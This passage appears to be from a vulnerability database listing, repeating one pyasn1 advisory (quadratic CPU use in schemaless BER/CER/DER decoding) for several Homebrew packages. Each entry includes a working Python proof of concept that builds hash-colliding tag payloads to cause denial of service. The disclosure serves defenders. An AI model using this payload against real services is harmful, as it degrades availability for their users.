      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-cve-bin-tool-CVE-2026-119194",
      "modified": "2026-10-31T19:22:32Z",
      "published": "2026-10-31T09:01:17Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-DSTACK-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 08:45 – Updated: 2026-10-31 08:45 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "dstack",
            "purl": "pkg:brew/dstack"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.2"
                },
                {
                  "fixed": "0.22.6"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-dstack-CVE-2026-119194",
      "modified": "2026-10-31T08:45:30Z",
      "published": "2026-10-31T08:45:30Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-DUPLICITY-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 08:43 – Updated: 2026-10-31 18:52 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "duplicity",
            "purl": "pkg:brew/duplicity"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.7.14"
                },
                {
                  "fixed": "0.8.03"
                },
                {
                  "introduced": "0.8.05_1"
                },
                {
                  "fixed": "3.2.2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-duplicity-CVE-2026-119194",
      "modified": "2026-10-31T18:52:12Z",
      "published": "2026-10-31T08:43:02Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-DVC-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 10:16 – Updated: 2026-10-31 15:54 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "dvc",
            "purl": "pkg:brew/dvc"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.63.4"
                },
                {
                  "fixed": "3.67.1_19"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-dvc-CVE-2026-119194",
      "modified": "2026-10-31T15:54:19Z",
      "published": "2026-10-31T10:16:07Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-GCALCLI-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 10:13 – Updated: 2026-10-31 19:26 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "gcalcli",
            "purl": "pkg:brew/gcalcli"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "4.3.0"
                },
                {
                  "fixed": "4.5.1_15"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return 